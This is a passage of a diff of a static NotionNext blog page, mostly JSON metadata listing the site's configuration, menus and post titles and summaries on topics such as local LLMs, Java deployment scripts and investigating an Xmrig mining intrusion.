f856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"example-4"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"93032c73-435f-4a73-8087-b71ecff3a86b","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-4","tags":["健康","推荐"],"summary":"如果您的Notion数据库已经修改了内容,发现网站内容还是旧的,说明绑定NotionPageID失败了,请重新检查Vercel后台是否正确配置好ID,并尝试重新部署。","title":"绑定成功测试-4","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:59.318Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1671726203449-34e89df45211?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=93032c73-435f-4a73-8087-b71ecff3a86b","pageCoverThumbnail":"https://images.unsplash.com/photo-1671726203449-34e89df45211?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=93032c73-435f-4a73-8087-b71ecff3a86b\u0026width=800\u0026fmt=webp","tagItems":[{"name":"健康","color":"pink"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"93032c73-435f-4a73-8087-b71ecff3a86b":{"value":{"id":"93032c73-435f-4a73-8087-b71ecff3a86b","version":7,"type":"page","content":["493c55bd-4441-4c1b-9ed3-3727291c7165","caf1ea9d-0926-41f4-8e85-090005e6e233","49531064-73d7-4a2a-806a-aa52e6c02baf","36a0c353-d7a8-4ae6-a4e9-1e2d9f605fc1","d0c4d00d-5e5f-4f6a-bbbb-4fafe04153bf","96ece850-8ea7-4392-aa14-5652d12c0e85","4fa6f1e1-5a73-4b50-a188-f9ef9f3870ad","0824d5ea-eb31-48ac-9395-01a217b32b7d","c12fce83-2492-406d-ae08-a07b3da800c0","033e1eff-5111-4814-a316-b18a825cd37f","9da00a5e-0324-42dd-951e-4a7f0357a394","1da35185-65c3-4334-9a03-4627538afd8a","4ccb751e-43d2-4d4a-bce2-8fcfe66ecf1a","5bee4538-9df1-457d-9698-67f05ee5fb11"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://images.unsplash.com/photo-1671726203449-34e89df45211?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"812fb188-40d0-4243-870f-852c143e0cf3","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337112,"last_edited_time":1705630799318,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"812fb188-40d0-4243-870f-852c143e0cf3","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a2